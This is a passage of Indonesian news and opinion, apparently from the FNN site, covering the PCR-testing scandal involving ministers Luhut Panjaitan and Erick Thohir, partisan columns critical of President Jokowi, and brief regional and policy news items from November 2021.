berita itu. Tidak ketinggalan Hersu menyitir pendapat Aria Bima, kader senior PDI-P, yang mengatakan bahwa ia tidak punya informasi tentang Ibu Mega sakit. Di sana Hersubeno tampak memberikan porsi berimbang. Tampak tidak sedikit pun ada kerja jurnalistik yang dilanggarnya. Ia sadar, bahwa ia sedang menyampaikan berita rumor, yang belum pasti kebenarannya. Setelah berita rumor itu menyeruak, seharusnya pihak yang diberitakan secepatnya buat konfirmasi benar atau tidaknya berita itu, agar tidak menimbulkan spekulasi yang berlarut. Tapi baru keesokan harinya, 10 September, tepatnya sore hari, konfirmasi itu muncil. Dan itu saat Ibu Megawati memberi sambutan dalam Forum Perkaderan Nasional PDI-P lewat webinar. Menunjukkan bahwa ia dalam kondisi sehat-sehat saja. Pada acara itu, channel "Hersubeno Arief", FNN, menyiarkan berita itu secara utuh dan live, dalam Breaking News! Setidaknya, itulah bentuk pertanggungjawaban dihadirkan seorang Hersubeno Arief. Keren, kan? Sebenarnya jika ada yang harus disalahkan, itu bukan pada Hersu yang tampil memberitakan dengan kaidah jurnalistik yang seharusnya, tapi justru pada petinggi/pengurus PDI-P sendiri yang juga patut disalahkan, karena baru merespons lebih 24 jam dari saat munculnya berita rumor itu merebak. Justru apresiasi pada Hersubeno selayaknya diberikan, itu karena ia telah bersungguh-sungguh menggali, dan berusaha memberikan informasi yang terkait dengan berita rumor tentang sakitnya Ibu Megawati, itu dengan berimbang dan penuh kehati-hatian: ia tetap mengatakan, bahwa berita yang disampaikannya itu belum pasti benar. Kasihan juga jika kerja jurnalistik profesional itu harus dipersoalkan seolah sesuatu yang luar biasa. Mengabarkan berita rumor pada publik figur sekelas Ibu Megawati, itu jadi seharusnya diberitakan, yang tetap dengan kaidah jurnalistik. Jadi, jangan ditafsir lain langkah jurnalistiknya itu, kecuali ia ingin memberitakan berita eksklusif sakitnya mantan Presiden ke-5 RI. Sebemarnya tafsirnya hanya itu saja. Berharap pihak kepolisian tidak memproses lebih jauh kasus ini, dan mengembalikan persoalan ini ke Dewan Pers, itu jika merujuk pada UU Pers, dan juga pada Nota kesepahaman yang dibuat Dewan Pers dan Polri. Kasus ini bukanlah kasus besar, dan sebaiknya tidak perlu ditarik menjadi besar. Kasus besar saja bisa dibuat kecil, jika langkah penyelesaian diambil dengan sikap bijak. (*) #) Kolumnis

Luhut Kusut, Jokowi Nyeri

Oleh: Yusuf Blegur Joko Widodo dan Luhut Binsar Panjaitan, merupakan dua nama yang tidak bisa dipisahkan. Baik dalam urusan politik maupun bisnis. Hubungan keduanya pun begitu erat saat sebelum dan sedang menjalankan roda pemerintahan. Bahkan sebelum Jokowi menjabat Walikota Solo, ketika menjadi pengusaha mebel dan Luhut masih aktif di militer. Jokowi dan Luhut bagai dua sisi mata uang yang tak bisa dipisahkan. Mereka seperti terikat oleh komitmen dan loyalitas yang kuat untuk saling menjaga, saling mengisi dan mencapai tujuan bersama. Memisahkan keduanya, seperti sesuatu yang sulit dan boleh dibilang mustahil. Apalagi dalam menapaki kekuasaan hingga sekarang ini, tidak serta-merta hanya mengandalkan kemampuan mereka berdua semata. Ada faktor luar yang boleh dibilang sangat dominan dan menentukan perjalanan karir politik mereka. Kekuatan sebenarnya yang berada dibalik mereka. Adanya 'invicible hand' yang menjadikan mereka berdua dalam kekuasaan tertinggi penyelengaraan pemerintahan dan negara hingga sekarang ini. Betapa pun Jokowi telah menjadi presiden Indonesia dan Luhut menjadi orang paling berpengaruh dan leluasa mengatur Jokowi, melebihi jabatannya sebagai menteri segala urusan. Baik Jokowi maupun Luhut, mereka tetap memiliki bos besar. Lebih dari sekedar cukong atau taipan. Kekuatan kapital besar dan global yang berwujud korporasi borjuis internasional. Ada rumor yang berkembang, jauh sebelumnya Jokowi telah disiapkan oleh tim profesional yang menghantar Jokowi dari walikota Solo, Gubernur Jakarta, hingga ke kursi presiden. Tak tanggung-tanggung, Jokowi didukung oleh konsultan politik yang sama yang telah memenangkan beberapa pemilihan presiden di Amerika Serikat. Tentunya dengan bohir yang sama pula. Tampilnya Jokowi sendiri dalam panggung politik Indonesia, sejak awal sudah menjadi 'grand desain' kepentingan kapitalistik yang mengusung agenda oligarki politik dan ekonomi. Dalam tampilan borjuasi korporasi dan investasi, sejatinya Jokowi bersama Luhut telah menjadi bagian dari skenario neo kolonialisme dan imperialisme baru bagi masa depan negara Indonesia. Alhasil Jokowi bersama Luhut melaju deras tak terbendung dalam pusaran kekuasaan di Indonesia. Meskipun dengan gestur, gimik dan mimik pencitraan penuh kepolosan, kesederhanaan dan kejujuran. Kemasan sosok Jokowi pada akhirnya telah menjadi sihir masal yang berlanjut pada tren konspirasi kejahatan masal dalam penyelenggaran kehidupan rakyat, berbangsa dan bernegara. Wujud negara kekuasaan bukan negara hukum. Boro-boro menjadi negara "well fare", di bawah kepemimpinan Jokowi, Indonesia tumbuh menjadi negara terbelakang dalam banyak dimensi. Pun, Kiprah Luhut yang terkadang "over lap" sering mengganggu dan merusak skenario panjang yang sedang berjalan. Manuvernya bisa efektif, bisa pula menjadi blunder. Pola tingkah Luhut dalam pemerintahan Jokowi kerapkali mengusik dan menganggu skenario panjang kekuasaan mereka. Berpacu Dalam Pandemi Selain dianggap pemimpin boneka. Jokowi semakin tersudut dengan performa pemerintahannya yang karut-marut. Selain intervensi Luhut yang lintas sektoral, banyak menteri menganggur atau terlibat korupsi. Sisanya mabuk memaksakan kebijakan sekuler dan liberal. Terutama kementerian agama dan kementerian pendidikan. Gonjang-ganjing perilaku nyeleneh para pembantunya, semakin membuat rezim Jokowi dinilai publik tidak kompeten, tidak memenuhi kapasitas, dan tidak memiliki integritas. Indikator lainnya banyak proyek mercusuar yang sering dianggap prestasi, sesungguhnya mengalami kegagalan. Tidak sedikit proyek infra struktur berbiaya besar dari hasil utang, akhirnya dijual rugi. BUMN strategis juga mengalami kolaps dan terancam dibubarkan. Semua hasil pencitraan Jokowi, yang jauh panggang dari api dilihat dari kinerjanya. Terlebih dalam mengatasi pandemi dan permasalahan ekonomi yang ditimbulkannya. Menurunnya kepercayaan rakyat terhadap kepemimpinan Jokowi begitu drastis. Semakin terasa saat pemerintah gagal menangani pandemi. Penerapan prokes yang tidak konsisten dan ada kesan pandemi menjadi ajang kepentingan bisnis. Dalam lilitan pandemi, utang negara semakin menumpuk namun tak berkolerasi dengan perbaikan kehidupan rakyat. Pajak menjulang tinggi mengiringi kenaikan harga kebutuhan pokok. Bukan ekonomi yang meroket seperti yang dijanjikan Jokowi, justru penderitaan rakyat yang melesat tinggi. Kemarahan rakyat memuncak, selain korupsi bansos dan PPKM yang berjilid-jilid tanpa limitasi. Terhubung motif dan tujuannya dengan munculnya kehebohan bisnis alat tes PCR. Kasus PCR yang melibatkan Luhut dan beberapa menteri dalam pemerintahan Jokowi. Seakan menajamkan proses delegitimasi dan mungkin mengarah delegalisasi rezim Jokowi. Vonis kegagalan kepemimpinan dan tuntutan mundur pada Jokowi seperti air bah yang tak terbendung lagi. Rasanya, bulan madu dan keharmonisan Jokowi dan Luhut akan terusik. Keduanya dalam waktu dekat bisa saja tak lagi menikmati surganya kekuasaan. Salah satu atau keduanya akan terhempas. Mengguncang dan mungkin akan meruntuhkan bangunan lama kongsi bisnis dan politik keduanya. Setidaknya, obsesi presiden 3 periode menjadi jalan terjal dan mengalami kebuntuan. Itupun kalau 2 periode kepemimpinan Jokowi bisa tuntas. Tidak berhenti di jalan. Sebaiknya kita lihat saja, apa yang bisa dilakukan rakyat yang sudah kadung mutung, marah dan akan menentukan sikapnya. Luhut yang semaput atau Jokowi yang kalut?. Akankah rakyat berani dan bersikap tegas mencabut kembali mandatnya kepada Jokowi. Jawabannya boleh jadi muncul setelah kisruh PCR berakhir. Pat gulipat bisnis pandemi dari boneka-boneka oligarki. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Dua Perwira Tinggi TNI AD Diprediksi Berpeluang Jabat Kasad

Jakarta, FNN - Direktur Eksekutif Institute for Security & Strategic Studies (ISSES) Khairul Fahmi memprediksi dua perwira tinggi TNI AD berpeluang kuat dipilih oleh Presiden RI Joko Widodo menjadi Kepala Staf TNI Angkatan Darat (Kasad) menggantikan Jenderal TNI Andika Perkasa. Walaupun demikian, dia menyampaikan bahwa semua perwira tinggi TNI AD yang menyandang pangkat letnan jenderal punya peluang sama untuk dipilih oleh Presiden jadi Kasad. "Soal regenerasi di tubuh TNI, dari belasan nama bintang tiga di TNI AD, baik yang bertugas di TNI mapun di luar itu, sebenarnya tinggal dua nama yang paling berpeluang, dari sisi masa aktif, yakni Pangkostrad Letjen TNI Dudung Abdurachman dan Kepala Staf Umum TNI Letjen TNI Eko Margiyono," kata Khairul Fahmi saat dihubungi di Jakarta, Selasa. Ia lantas menerangkan bahwa Dudung Abdurachman akan memasuki masa pensiun pada bulan Desember 2023, sementara Eko Margiyono pada tahun 2025. Akan tetapi, secara kapabilitas, pengalaman, kekayaan pengalaman jabatan, dia menilai keduanya setara dan layak serta berpeluang jadi kepala staf. "Tinggal kemudian bagaimana pilihan Presiden dan usulan dari panglima yang nantinya memengaruhi peluang-peluang itu," kata Direktur Eksekutif ISSES. Dalam kesempatan lain, pengamat militer Alman Helvas Ali meyakini seluruh perwira tinggi TNI AD berpangkat letnan jenderal punya peluang yang sama untuk jadi Kasad. Walaupun demikian, bursa pencalonan dan pemilihannya kemudian kemungkinan turut dipengaruhi oleh berbagai pertimbangan yang bermuatan politis. "Ada tarik-menarik kepentingan siapa yang akan menjadi Kasad. Pangkostrad bukan satu-satunya calon yang berpeluang jadi Kasad. Kasum TNI juga berpeluang, Wamenhan punya peluang, Wakasad punya peluang," katanya saat dihubungi di Jakarta, Selasa. Alman memperkirakan Presiden akan memilih Kasad yang dapat bekerja sama dengan dirinya dan Panglima TNI. "Beliau (Presiden, red.) biasanya menghendaki orang-orang yang pernah punya kerja sama dengan beliau pada satu masa," kata Alman. Spekulasi dan prediksi mengenai pengganti Kasad mencuat ke publik setelah Jenderal TNI Andika Perkasa pada awal minggu ini mendapat persetujuan dari DPR RI untuk menjabat Panglima TNI menggantikan Marsekal TNI Hadi Tjahjanto. Jika merujuk pada peraturan perundang-undangan, perwira tinggi yang dapat dipilih oleh Presiden menduduki posisi Kasad merupakan mereka yang berpangkat letnan jenderal. Setidaknya ada 17 perwira tinggi TNI AD berpangkat letnan jenderal, sebanyak 16 di antaranya merupakan lulusan Akademi Militer angkatan 1986—1989 dan seorang perwira lulusan Sekolah Perwira Prajurit Karier Tentara Nasional Indonesia (SEPA-PK TNI). Pasal 14 UU TNI mengatur bahwa jabatan Kasad merupakan hak prerogatif Presiden dengan mempertimbangkan usulan dari Panglima TNI. (mth)

Yang Minta Luhut Mundur, JoMan atau Jokowi?

Oleh: Tjahja Gunawan Jakarta, FNN - Dalam idiom kebudayaan Jawa dikenal istilah nabok nyilih tangan. Menampar pinjam tangan orang lain. Terkait kasus bisnis polymerase chain reaction (PCR) yang diduga melibatkan Menko Kemaritiman dan Investasi Luhut Binsar Panjaitan, Ketua Jokowi Mania (Joman) Imanuel Ebenezer meminta Luhut mengundurkan diri dari jabatannya sekarang. Luhut diduga berbisnis tes PCR di tengah pandemi Covid-19. "Lebih baik lagi Pak LBP mengundurkan diri dengan secara terhormat karena apapun kejadian kemarin bangsa ini terkenal bangsa yang memaafkan," kata Ebenezer, dalam program Sapa Indonesia Pagi di Kompas TV, Senin (8/11/2021). Bila Luhut tidak ingin mengundurkan diri, lanjut Ebenezer, maka sebaiknya Presiden Jokowi menunjukkan ketegasannya dengan mengganti Luhut dalam reshuffle Kabinet Indonesia Maju nanti. Sebenarnya bukan hanya relawan Jokowi saja yang geram dan jengkel dengan ulah pejabat yang mengambil untung ditengah pandemi Covid 19, banyak juga lapisan masyarakat lainnya yang kecewa dan marah dengan perilaku pejabat biadab itu. Sebelumnya Partai Rakyat Adil Makmur (Prima) melaporkan Luhut Panjaitan dan Menteri BUMN Erick Thohir ke KPK terkait bisnis PCR tersebut. Parpol yang dideklarasikan pada 1 Juni 2021 tersebut, langsung membuat gebrakan politik yang menyentak. Partai ini dideklarasikan oleh sejumlah eks pengurus pusat Partai Rakyat Demokratik (PRD). Masyarakat mengenal PRD sebagai partai yang cenderung beraliran kiri. Jika Luhut tidak mau mundur atau Jokowi juga tidak berani memecat Luhut, diperkirakan akan semakin banyak lapisan masyarakat yang akan melakukan aksi demonstrasi dan atau melaporkan dua menteri yang terkait bisnis PCR ini ke polisi. Bisnis PCR para pejabat ini sudah menjadi perhatian publik karena berhubungan langsung dengan kepentingan masyarakat. Sebagai pejabat negara, Luhut dan Erick, seharusnya berperan sebagai wasit karena mereka terlibat dalam pembuatan kebijakan soal pemberlakuan penggunaan PCR dan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM). Ini sih wasit merangkap sebagai pemain. Penguasa merangkap sebagai pengusaha (Pengpeng), mengambil keuntungan dari penderitaan masyarakat. *Menyamarkan keterlibatan menteri* Pendukung Jokowi lainnya yang juga meradang atas ulah Luhut dan Erick dalam bisnis PCR adalah Deny Siregar. Pegiat media sosial yang lebih dikenal sebagai buzzer bayaran yang direkrut rezim penguasa ini, juga menyatakan kegeramannya atas bisnis PCR yang melibatkan kedua menteri bawahan Jokowi ini. Dengan regulasi wajib PCR, kata Denny, malah dijadikan buat ladang menaikkan harga seenaknya. Dia meyakini sepanjang ada aturan wajib tes PCR maka akan banyak yang aji mumpung gitu. “Selama masih banyak peraturan yang dikeluarkan dgn konsep “wajib”, maka banyak pencuri jg akan memanfaatkan. Bisnis ginian menggiurkan. Biaya belinya murah, jualnya gila-gilaan. Dan kita ga bisa ga beli, krn diwajibkan,” tulisnya merespons harga tes PCR di Bali sampai 1 juta. Saya sengaja mengutip dan menampilkan pernyataan protes dan rasa kecewa dari para pendukung Jokowi dalam kebijakan bisnis PCR ini karena kalau kelompok oposisi sudah biasa mengkritisi kebijakan Jokowi. Kini bisnis PCR sudah terlanjur menjadi informasi publik. Keterlibatan dua pejabat negara bawahan langsung Presiden ini sudah sangat terang benderang. Walaupun mereka berkilah tidak mengambil untung, namun logika awam pun menilai mana mungkin sebuah perusahaan terbatas (PT) didirikan kalau bukan untuk mencari laba. Bisnis PCR ini dijalankan oleh PT Genomik Solidaritas Indonesia (GSI). Pemegang saham perusahaan ini, antara lain Yayasan Adaro Bangun Negeri, PT Toba Bumi Energi dan PT Toba Sejahtra. Kedua PT yang disebut terakhir adalah anak perusahaan PT TBS Energi Utama Tbk (TOBA). Luhut Panjaitan mengakui pernah memiliki saham di situ. Sedangkan Yayasan Adaro Bangun Negeri berkaitan dengan PT Adaro Energy Tbk (ADRO). Presdirnya adalah Boy Thohir, kakak kandung Erick Thohir. Dari struktur kepemilikan saham PT GSI, terlihat jelas adanya benturan kepentingan perusahaan dengan posisi Luhut dan Erick sebagai pejabat negara yang terkait dengan pembuatan kebijakan harga PCR dan kewajiban masyarakat untuk menjalani tes PCR. Adalah mantan Direktur YLBHI, Agustinus Edy Kristianto, yang telah membongkar bisnis PCR dan membeberkan para pemegang saham yang bercokol PT GSI tersebut. Tidak lama kemudian Majalah Berita Mingguan Tempo, juga membuat laporan investigasi tentang bisnis PCR yang melibatkan Menteri Luhut Panjaitan dan Erick Thohir. Untuk menyamarkan keterlibatan kedua menteri ini dalam bisnis PCR, sejak tahun 2000 hingga 2021, PT GSI sudah tujuh kali mengubah akta. Sekarang gampang saja, kalau Presiden Jokowi tidak berani memecat Luhut Panjaitan dan Erick Thohir, maka bisa diduga Jokowi pun ikut terlibat dalam cuan bisnis PCR ini. Mari kita gunakan akal sehat masing-masing. Seorang Menko Kemaritiman dan Investasi merangkap jabatan sebagai Koordinator PPKM. Dia adalah pucuk pimpinan dalam hal kebijakan Covid-19 dan investasi. Lalu, ada juga seorang Menteri BUMN yang merangkap Ketua Tim Penanganan COVID-19 dan Pemulihan Ekonomi Nasional (PEN). "Menteri Kesehatan-nya bekas Wakil Menteri BUMN,” tulis Agustinus Edy Kristianto di akun Facebooknya. Setelah membaca uraian lengkap tentang PT GSI dan sepak terjangnya dalam lingkaran bisnis PCR, saya tiba-tiba sangat mengkhawatirkan keselamatan Edy Kristianto. Walaupun rakyat Indonesia sekarang hidup di alam demokrasi bahkan para elite kekuasaan sering membuat pencitraan dengan jargon "Saya Indonesia Saya Pancasila", namun dalam kenyataan sehari-hari kita banyak menyaksikan praktek mafia. Sehingga sangat mungkin saja, Agustinus Edy Kristianto dijadikan target untuk dihabisi. Banyak contoh kematian tidak wajar yang dialami pejabat dan tokoh di negeri ini, misalnya Jaksa Agung Baharudin Lopa, Ketua KPU Husni Kamil dan tokoh hak asasi manusia Munir yang meninggal akibat diracun dalam penerbangan dari Jakarta ke Amsterdam Belanda. Semoga kekhawatiran saya ini tidak jadi kenyataan. Yang jelas Agustinus Edy Kristianto, praktis berjuang sendirian. Dia menggunakan haknya sebagai rakyat sipil untuk bersuara, menyampaikan pendapat dan temuannya seputar bisnis PCR. Lain dengan orang-orang seperti pendukung dan relawan Jokowi atau Jokowi Mania (JoMan). Mereka adalah kumpulan orang-orang yang dibayar dan atau diberi kompensasi berupa jabatan komisaris BUMN. Misalnya, Ketua JoMan, Immanuel Ebenezer, tercatat sebagai komisaris anak perusahaan BUMN PT Pupuk Indonesia. Dia menjadi Komisaris Independen PT Mega Eltra, anak perusahaan Pupuk Indonesia yang bergerak di bidang perdagangan dan konstruksi. Melalui anak usahanya, perusahaan ini juga memproduksi cat. Dengan begitu, sangat boleh jadi teriakan lantang Ebenezer agar Luhut Panjaitan mundur dari kabinet karena ada pesanan dari elite kekuasaan yang ingin menyingkirkan Luhut. Akan tetapi pernyataan keras Ebenezer ini bisa juga pesanan dari Jokowi sendiri. Sebagai orang Jawa, Jokowi paham betul makna Nabok Nyilih Tangan. Itu adalah peribahasa Jawa. Artinya dalam bahasa Jawa ialah "Tumindak ala kanthi kongkonan wong liya". Terjemahan dalam bahasa Indonesia adalah "melakukan perbuatan buruk dengan cara menyuruh orang lain". Kita tunggu saja drama selanjutnya dari skandal cuan bisnis PCR ini. Yang jelas, bisnis tes PCR ini merupakan skandal besar bobroknya mental pejabat negara. Skandal ini bagaikan kotoran yang dilemparkan ke wajah pemerintahan Jokowi. Bau dan menjijikan. Kalau Jokowi mempunyai keberanian memecat menterinya yang diduga terlibat dalam bisnis PCR, bisa sedikit memulihkan kepercayaan masyarakat kepada pemerintah. Sebaliknya jika Jokowi membiarkan skandal besar ini berlalu begitu saja, bukan mustahil Jokowi akan dipenjara setelah dia mengakhiri jabatannya sebagai Presiden nanti. Bahkan kemungkinan terburuk, rakyat Indonesia akan turun ramai-ramai ke jalan secara massif untuk memaksa Jokowi mundur dari jabatannya sebelum tahun 2024. Kita tunggu saja. (*) *) Wartawan senior FNN.

Pemprov Kaltara Raih Top Inovasi Pelayanan Publik Tahun 2021

Tarakan, FNN - Pemerintah Provinsi Kalimantan Utara (Kaltara) meraih Top Inovasi Pelayanan Publik Tahun 2021 dengan Sistem Pelayanan Administrasi Kependudukan di Wilayah Pedalaman dan Perbatasan (Sipelandukilat) Smart dari Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi. "Wilayah Kaltara yang luas dan juga berbatasan langsung dengan negara Malaysia ini memiliki masyarakat yang berdomisili di daerah pedalaman, sehingga butuh program untuk menjangkau wilayah blank spot tersebut," kata Wakil Gubernur Kaltara Yansen TP, di Tanjung Selor, Bulungan, Selasa. Khususnya di bidang administrasi kependudukan dan pencatatan sipil, Sipelandukilat Smart ini yang kemudian menjadi solusinya, ujar Yansen saat menghadiri pemberian penghargaan Top Inovasi Pelayanan Publik Tahun 2021 yang diselenggarakan oleh Kemenpan-RB secara virtual, di ruang rapat lantai satu Kantor Gubernur Kaltara. Menteri PAN-RB Tjahjo Kumolo menyampaikan penghargaan Top Inovasi Pelayanan Publik Tahun 2021. Penyerahan itu diberikan kepada kementerian, lembaga, pemerintah daerah, dan BUMN yang telah ditetapkan sebagai Top Inovasi Terpuji pada Kompetisi Inovasi Pelayanan Publik (KIPP) Tahun 2021. Melalui Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Pemprov Kaltara dengan program Sipelandukilat Smart meraih prestasi di Klaster Top 5 Outstanding Achievement, dan kedua kalinya program ini meraih penghargaan di tingkat nasional. “Untuk menjawab tantangan global ini memang inovasi menjadi sebuah keharusan. Untuk mewujudkan inovasi itu kita harus memiliki kreativitas,” kata Yansen. Wagub pun mengingatkan bahwa tujuan utama dari mewujudkan inovasi itu bukan sekadar penghargaan, tetapi bagaimana memaksimalkan pelayanan publik. “Tentunya untuk mempercepat pembangunan ibu kota (Tanjung Selor, Red). Semoga ke depannya tidak hanya Sipelandukilat ini saja, tapi di sektor lain juga,” katanya pula. Kepala Disdukcapil Kaltara Sanusi mengungkapkan meskipun inovasi yang dilakukan sederhana, tetapi memiliki dampak yang besar kepada masyarakat luas. Seperti masyarakat semakin mudah dalam mendapatkan pelayanan administrasi kependudukan dan pencatatan sipil. “Ini juga saya kira adalah merupakan bukan hak dasar, tetapi merupakan pelayanan dasar,” kata Sanusi. Dia pun sadar bahwa inovasi ini terwujud, karena keinginan memberikan pelayanan publik yang terbaik untuk masyarakat Bumi Benuanta. (mth)

KLHK: PIPPIB Salah Satu Strategi Indonesia Capai FoLU Net Sink 2030

Jakarta, FNN - Kementerian Lingkungan Hidup dan Kehutanan (KLHK) menyampaikan bahwa kebijakan Peta Indikatif Penghentian Pemberian Perizinan Berusaha (PIPPIB) merupakan salah satu strategi Indonesia mencapai Forest and Land Use (FoLU) Net Sink 2030. "Mitigasi deforestasi dan degradasi hutan dengan kebijakan PIPPIB merupakan salah satu strategi optimalisasi pencapaian FoLU Net Sink Indonesia pada tahun 2030," ujar Wamen LHK Alue Dohong dalam salah satu sesi diskusi di Paviliun Indonesia dalam gelaran COP26 di Glasgow, Skotlandia yang diikuti secara daring dari Jakarta, Selasa. Ia menambahkan, pada 2019 Presiden Joko Widodo menerbitkan Inpres Nomor 5 Tahun 2019 tentang Penghentian Pemberian Izin Baru dan Penyempurnaan Tata Kelola Hutan Alam Primer dan Lahan Gambut. "Presiden memperkuat kebijakan dari moratorium ke penghentian permanen untuk mengurangi emisi secara lebih intensif," paparnya. Hal ini, lanjut dia, menunjukkan komitmen kuat Indonesia untuk memperbaiki tata kelola hutan alam primer dan lahan gambut dalam rangka mengurangi emisi dari deforestasi dan degradasi. Pada periode 2019-2020, ia mengemukakan, Indonesia telah berhasil mengurangi deforestasi sebesar 70 persen atau setara 115.000 hektare. Angka ini jauh menurun dibandingkan tahun sebelumnya. "Pencapaian itu merupakan salah satu bukti keberhasilan implementasi kebijakan PIPPIB ini," tuturnya. Ia mengatakan, keberhasilan Indonesia menurunkan laju deforestasi juga merupakan pencapaian penting untuk mencapai target Nationally Determined Contribution (NDC) yang berisi target penurunan emisi gas rumah kaca hingga tahun 2030. Ia menyampaikan, NDC Indonesia menargetkan penurunan emisi gas rumah kaca sebesar 29 persen dengan usaha sendiri, dan 41 persen dengan dukungan internasional. Alue Dohong optimistis Indonesia dapat mencapai target itu dari sektor kehutanan dan penggunaan lahan lain (FoLU) pada tahun 2030. Dalam kesempatan itu, Alue Dohong kembali menegaskan bahwa upaya Indonesia untuk mencapai Net Sink FoLU pada 2030 tidak sama dengan nol deforestasi. "FoLU Net Sink 2030 tidak sama dengan nol deforestasi. Ini penting saya sampaikan. Tentu kami berusaha semaksimal mungkin," ujarnya. (mth)

Gubernur Sumsel Ajak Para Bupati Bersinergi Bangkitkan Ekonomi

Palembang, FNN - Gubernur Sumatera Selatan Hermam Deru mengajak bupati dan wali kota di wilayah provinsi itu untuk bersinergi membangkitkan ekonomi yang terpuruk dampak pandemi Covid-19. "Selain program vaksinasi, tak kalah penting juga bagaimana cara bersinergi untuk bersama membangkitkan pertumbuhan ekonomi," kata Herman Deru pada rakor forum koordinasi pimpinan daerah (Forkopimda) di Palembang, Selasa, 9 November 2021. Menurut dia, sinergi Forkopimda yang telah berjalan dengan baik dalam menghadapi pandemi Covid-19 perlu ditingkatkan. "Sambil mengupayakan percepatan vaksinasi untuk mencapai target kekebalan komunal (herd immunity) minimal 6,3 juta jiwa, perlu digalakkan bersama program yang dapat membangkitkan ekonomi," ujarnya, sebagaimana dikutip dari Antara. Salah satu upaya untuk membangkitkan ekonomi, pihaknya terus berupaya mendorong pelaku usaha mikro kecil dan menengah (UMKM) yang tersebar di 17 kabupaten/kota dalam provinsi setempat bisa mandiri dan bangkit dari keterpurukan dampak pandemi Covid-19. Untuk mendorong pelaku UMKM mandiri dan bangkit dari keterpurukan itu, dia mengajak bupati dan wali kota di Sumsel bersinergi melakukan program pembinaan. Pembinaan yang dilakukan seperti peningkatan kualitas dan pengembangan variasi produk dengan memberikan pelatihan kepada pelaku UMKM dan bantuan modal usaha. Melalui pembinaan itu diharapkan pelaku UMKM di provinsi ini dapat terus berkembang, meskipun dalam kondisi pandemi Covid-19 sekarang mengalami penurunan kegiatan usaha. Kondisi sulit saat ini seharusnya menjadi tantangan untuk melakukan kegiatan yang mampu membawa pelaku UMKM bertahan dan bisa melakukan terobosan untuk berkembang. UMKM harus melakukan berbagai cara agar bisa bertahan, sambil melihat peluang melakukan terobosan pengembangan usaha, kata Gubernur Herman Deru. (MD).

Anis Matta Pimpin Napak Tilas Perjalanan Darat ke Jatim, Jateng dan DIY

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta memulai perjalanan darat, napak tilas kunjungan ke tiga provinsi, Jawa Timur (Jatim), Jawa Tengah (Jateng) dan Daerah Istimewa Yogyakarta (DIY) pada Selasa (9/11/2021) pagi. Kunjungan ini, dilakukan Anis Matta dalam rangka memperingati Hari Pahlawan yang jatuh pada Rabu, 10 Nopember 2021 ini. "Pada pagi ini, Dewan Pimpinan Nasional Partai Gelora Indonesia memulai perjalanan darat menuju Surabaya untuk memperingati Hari Pahlawan, 10 Nopember besok, " kata Anis Matta di Jakarta, Selasa (9/11/2021). Anis Matta memimpin perjalanan darat dari Jakarta-Surabaya, dengan mengendarai mobil pribadinya secara langsung. Bahkan Anis Matta menyupiri sendiri mobil pribadinya itu hingga tol Cipali Km 103. Kunjungan ini diikuti oleh hampir seluruh Badan Pengurus Harian, selain Anis Matta, Wakil Ketua Umum Fahri Hamzah, Sekretaris Jenderal Mahfuz Sidik dan Bendahara Umum Achmad Rilyadi. Juga diikuti oleh para Ketua Bidang DPN Partai Gelora Indonesia. Anis Matta bersama rombongan kemudian ishoma dan melepaskan penat di rest area KM 103 tol Cipali. Setelah itu, Anis Matta melanjutkan kembali perjalanan darat menuju Surabaya. Namun, Anis Matta tak lagi mengendarai mobil pribadinya, tapi berpindah ke Bus Pariwisata Suite Class/Sleeper Pandawa 87, yang disewa secara khusus oleh Partai Gelora. Di bus ini, Anis Matta menggelar rapat dengan para ketua bidang membahas agenda aksi di tiga provinsi, selain agenda peringatan Hari Pahlawan. "Pada Desember ini, kita sudah memasuki tahapan instrumen selanjutnya, yakni mobilisasi kader dan massa secara offline. Dan alhamdulillah di tahapan sebelumnya, operasi teritori dan media kita relatif berhasil," ungkap Anis Matta. Mobilisasi massa yang akan dilakukan, kata Anis Matta, adalah berbasis daerah pemilihan (dapil) dengan tetap melihat public mood sebagai bentuk kepedulian kepada masyarakat. "Misalnya kepedulian pada dampak perubahan iklim, kita advokasi nelayan. Dan karena ini, mulai bulan-bulan bencana, kita akan melaunching Blue Helmet, Relawan Kemanusiaan kita," ujar Anis Matta. Di Surabaya, Rabu (10/11/2021) Anis Matta akan mengunjungi kuliner bersejarah, tabur bunga di Taman Makam Pahlawan (TMP) Surabaya dan makam Bung Tomo (Dr Sutomo). Lalu, mengunjungi museum HOS Cokroaminoto. Di museum tersebut, kemudian membuka diskusi Gelora Talks dengan tema 'Semua Bisa Jadi Pahlawan, Gelorakan Semangat Kepahlawanan' yang disiarkan secara langsung di kanal YouTube Gelora TV. Pada esoknya, Kamis-Jumat, 11-12 Nopember 2021 Anis Matta akan melakukan kunjungan ke Jawa Tengah antara lain ke Pati, Demak dan Semarang. Terakhir, pada Sabtu, 13 Nopember, Anis Matta akan berkunjung ke DIY, sebelum bertolak ke Jakarta untuk mengakhiri kunjungan selama lima hari di tiga provinsi. (sah)

Sulteng Segera Hadirkan Layanan Elektronik untuk Mudahkan Warga

Palu, FNN - Pemerintah Provinsi Sulawesi Tengah (Sulteng) segera menghadirkan layanan berbasis elektronik untuk memudahkan warga mengurus berbagai keperluan terkait kependudukan. "Gubernur kita Rusdy Mastura ingin meningkatkan layanan pemerintahan berbasis digital sehingga menjadi sebuah loncatan untuk memudahkan dan mengefisienkan masyarakat mengurus berbagai keperluannya," kata Tenaga Ahli Gubernur Sulteng M Ridha Saleh di Palu, Selasa. Pemprov Sulteng, sebut Ridha Saleh terus berupaya mengoptimalkan program desa pintar (smart village) yang salah satu tujuannya untuk memudahkan pelayanan pemerintah terhadap masyarakat dengan memanfaatkan teknologi komunikasi dan informatika. Karena itu, Ridha Saleh mengemukakan akan mengembangkan sistem pemerintahan berbasis elektronik (e-goverment) yang terkoneksi dengan "Sistem Semua Bisa Kerja". "Dengan sistem ini akan memberikan dampak besar untuk peningkatan layanan kepada masyarakat, ke depan masyarakat yang dari kabupaten bisa langsung menyampaikan permintaan sesuai kebutuhan, melalui sistem tersebut," kata Ridha Saleh. "Smart village harus berdampak terhadap kemajuan pembangunan daerah dan percepatan pelayanan terhadap masyarakat," kata Ridha Saleh yang juga Mantan Komisioner Komnas-HAM RI. Ia menjelaskan Pemprov Sulteng sebelumnya telah meluncurkan program "smart village" di Desa Pakuli, Kecamatan Gumbasa, Kabupaten Sigi, yang dihadiri Gubernur Rusdy Mastura bersama pejabat dari 